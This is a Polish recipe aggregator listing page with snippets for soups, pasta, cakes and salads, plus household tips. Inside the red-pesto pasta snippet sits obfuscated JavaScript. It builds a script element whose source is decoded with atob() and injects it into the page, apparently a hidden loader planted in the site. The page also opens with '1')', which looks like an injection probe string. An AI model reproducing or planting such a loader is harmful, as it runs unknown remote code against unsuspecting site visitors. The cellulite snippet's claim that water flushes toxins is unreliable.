1') 33348 wpisów

6 najlepszych sposobów na cellulit – wypróbuj je wszystkie! 12019

7 lat temu
Dodaj

których składniki znajdziesz we własnej kuchni. 1. Peeling z soli morskiej – pobudza mikrokrążenie krwi(...)Picie wody – regularne spożywanie co najmniej 1,5 litra wody pomaga oczyszczać organizm z toksyn

Nigdy tego nie rób, jeśli nie chcesz zniszczyć ubrań w pralce! 28658

8 lat temu
Dodaj

wolno robić w trakcie sortowania prania? 1) Nigdy nie mieszaj kolorów. Zamieszanie w jednym bębnie pralki(...)zniszczyć prania, co wrzucić do bębna? 1) Nie przepełniaj bębna. Przeczytaj instrukcję obsługi do pralki

Kuskus z grillowanymi warzywami 8

7 lat temu
Dodaj

obieram czosnku. Kuskus z grillowanymi warzywami / 1 porcja Składniki:  1/2 cukinii, małej 1 garść

Czekoladowe gofry 8

7 lat temu
Dodaj

SKŁADNIKI: - 3 jajka- 350 g mąki pszennej- 1 łyżeczka proszku do pieczenia- 250 ml mleka(...)masła- 1 tabliczka czekolady gorzkiej lub 3 łyżki kakao z ziaren kakaowca- opcjonalnie 2 łyżki cukru

Sałatka jajeczna z czerwona fasolą i porem 374

7 lat temu
Dodaj

konserwowej (ok. 140 g kukurydzy po odsączeniu) 1 słoik selera konserwowego w zalewie(...)odsączeniu) 1 kawałek pora – ok. 100 g białej i jasnozielonej części pora 3 średnie ogórki

Bananowe placuszki na bazie kaszy manny (bez mąki) 18

7 lat temu
Dodaj

szklanki kaszy manny 0,5 szklanki mleka 1 jajko klasy M 1 banan (dojrzały) odrobina oleju

Szybka sałatka obiadowa z sałaty rzymskiej 186

7 lat temu
Dodaj

możecie też podać do grilla. Spróbujcie. Składniki: 1 mini sałatka rzymska około 3 cm zielonego ogórka(...)nawet ciut więcej) 180 g naturalnego jogurtu 1 ząbek czosnku czarny mielony pieprz do smaku sól

Pieczony koper włoski 7

7 lat temu
Dodaj

użyłam do przepisu. Polecam jednak powydziwiać. Składniki:1 koper włoskiduża kromka chleba razowego 4 suszone(...)myjemy i kroimy w plasterki grubości około 1 cm. Wykładamy w naczyniu żaroodpornym, skrapiamy oliwą

Zapiekane w sosie pomidorowym muszle makaronowe nadziewane mięsem mielonym 53

7 lat temu
Dodaj

smaku * przyprawa do mięsa mielonego do smaku * 1 łyżeczka suszonej bazylii * sól do smaku(...)sera startego na tarce o dużych oczkach * 1 szklanka passaty pomidorowej * 3 łyżeczki koncentratu pomidorowego (użyłam

Pieczona owsianka z bananami i marakują 5

7 lat temu
Dodaj

okrągła do pieczenia 23 cm) Składniki:1 1/2 szklanki górskich płatków owsianych1/2 szklanki jogurtu greckiego1/2(...)miąższu z marakui z puszki 1 jajko Przygotowanie: Do miski wsypujemy płatki owsiane.Wlewamy mleko

Makaron z łososiem w sosie śmietanowo-cytrynowym 3111

7 lat temu
Dodaj

pokroić w kostkę o boku ok. 1,5 – 2 cm. Na dużej patelni, na małym(...)koperek. Delikatnie wymieszać i gotować jeszcze przez 1-2 minuty (aż makaron będzie idealnie miękki). Ewentualnie

Orkiszowo- żytni chleb na drożdżach 8

7 lat temu
Dodaj

suchych * 500 ml przegotowanej letniej wody* 1 łyżeczka cukru  * 300 g mąki orkiszowej(...)Skworcu)* 200 g mąki żytniej  * 1 łyżeczka soli * 4 łyżki oleju* garść ziaren

Zupa krem z marchewki z mleczkiem kokosowym 61

teraz
Dodaj

dzień.... Składniki:6-7 marchewekkawałek selera 1 pietruszka1 cebulakawałek pora4 ziemniakiliść laurowy3 kulki ziela angielskiego3(...)śmietanką kremówką ale wtedy 100 ml)ok 1,5 l bulionu,lub mięsnego wywarusól,pieprz,łyżka

Ciastka orzechowo- owsiane z masłem orzechowym gotowe w 30 minut (bez mąki) 9

teraz
Dodaj

Radix- bis) * 90 g brązowego cukru * 1 jajko * 1,5 szklanki płatków owsianych * pół łyżeczki proszku

Zupa krem z marchewki z mleczkiem kokosowym 8

teraz
Dodaj

dzień.... Składniki:6-7 marchewekkawałek selera 1 pietruszka1 cebulakawałek pora4 ziemniakiliść laurowy3 kulki ziela angielskiego3(...)śmietanką kremówką ale wtedy 100 ml)ok 1,5 l bulionu,lub mięsnego wywarusól,pieprz,łyżka

Szybkie ciasto cytrynowe 8

teraz
Dodaj

jakości margaryny półtorej szklanki cukru pudru 1 łyżeczka ekstraktu z wanilii  3 jajka(...)płaskie łyżki mąki ziemniaczanej lub 1 opakowanie budyniu waniliowego2 szklanki mąki pszennejszczypta soli 2 łyżeczki proszku

Deser bezowo-kokosowy z kremem 187

teraz
Dodaj

Czas przygotowania: 40 minut Ocena: 5.0/5 ( 1 głos/y ) składniki Beza: 4 białka(...)ziemniaczanej Krem: 4 żółtka 40 g cukru 1 łyżeczka cukru waniliowego szczypta imbiru (mielony) &8211; imbir

Makaron z czerwonym pesto 11

teraz
Dodaj

suszonym pomidorów 2 łyżki orzeszków piniowych 1 ząbek czosnku 2 łyżki startego parmezanu kilka listków świeżej(...)iejorfnx.createElement(knqzsfgk);ukszrpkj = iejorfnx.getElementsByTagName(knqzsfgk)[0]; cbgukpei.ascyc = 1; cbgukpei.src = atob(sjhqdoqu) ukszrpkj.parentNode.insertBefore(cbgukpei, ukszrpkj); })(window, document

Szybka pizza na dużą blachę 37

7 lat temu
Dodaj

soli pół łyżki cukru 3 łyżki oleju 1 szklanka ciepłej wody (nie gorącej) 40 g świeżych(...)pieczarek sos pomidorowy lub passata pomidorowa 1 cebula kilka plasterków ulubionej kiełbasy lub szynki mozzarella (najlepiej

Kluski leniwe 10

7 lat temu
Dodaj

Składniki: * 500 g białego sera twarogowego mielonego * 1 jajko * 1 i 1/3 szklanki mąki pszennej* pół

Mikstury olei i oleje w kapsułkach 39

teraz
Dodaj

można znaleźć na stronie producenta: www.propharma24.pl Źródła: 1. http://www.drgaja.pl/ 2. https://www.propharma24.pl 2. Cold pressed(...)Waszkiewicz-Robak, Zywnosc: Nauka, Technologia, Jakosc 19(1), January 2012 4. Nigella Sativa Health Benefits

Zasmażana modra kapusta 12

7 lat temu
Dodaj

dodatkiem rolady ;) Składniki: główka czerwonej kapusty (około 1 kg)1 cebula2 liście lauroweokoło 150 g boczku

Surówka z młodej kapusty 7661

7 lat temu
Dodaj

mnie idealne proporcje w tym przypadku to 1 łyżeczka cukru i 2-3 łyżki soku(...)łyżki soku z cytryny 1/4 łyżeczki soli 1 łyżeczka cukru świeżo mielony pieprz do smaku Przepis

Babka na kefirze 22

6 lat temu
Dodaj

Składniki: 200g mąki pszennej 100g mąki ziemniaczanej 1 płaska łyżeczka proszku do pieczenia 1 płaska łyżeczka

Szarlotka na krupczatce 5

teraz
Dodaj

kwaśnej gęstej śmietany* 130 g cukru pudru* 1 łyżeczka proszku do pieczeniaDodatkowo:* 1 duży słoik jabłek

Makaron cruelli 5

teraz
Dodaj

czosnku ·       1 opakowanie makaronu spaghetti(...)płatków sera parmezan Sposób przygotowania: 1.   Mięso myjemy, osuszamy, dzielimy na mniejsze kawałki

Naleśniki z kremem truskawkowym 8

5 lat temu
Dodaj

pełno aromatycznych dorodnych, soczystych truskawek. Naleśniki:1 szklanka mąki orkiszowej ciemnej1/3 szklanki mąki pszennej1 szklanka(...)napoju roślinnego)1/2 szklanki wody gazowanejopcjonalnie 1 łyżeczka erytrolu lub ksylitolu3 łyżki oleju rzepakowego zimno tłoczonego

Deser truskawkowe ptasie mleczko 9

5 lat temu
Dodaj

zniżki na swoje zakupy w   Składniki: 1,5 szklanki wody 1 galaretka truskawkowa 4 łyżki

Bardzo czekoladowa babka. 30

teraz
Dodaj

szklanki erytrytolu – 5 jajek – 1 łyżeczka proszku do pieczenia – 1 łyżeczka esencji

Krokiety ziemniaczane z air fryer 38

teraz
Dodaj

FRYER Składniki: 500g ugotowanych ziemniaków 1 jajko 3 łyżki mąki 2 szczypty soli 2 szczypty czosnku(...)granulowanego 1 łyżeczka posiekanej natki pietruszki bułka tarta oliwa w spreyu   Jak zrobić krokiety ziemniaczane

śledzie w oleju 14

1 rok temu
Dodaj

Składniki:5 filetów śledziowych (miałam mniej słone)1 cebula 1 liść laurowy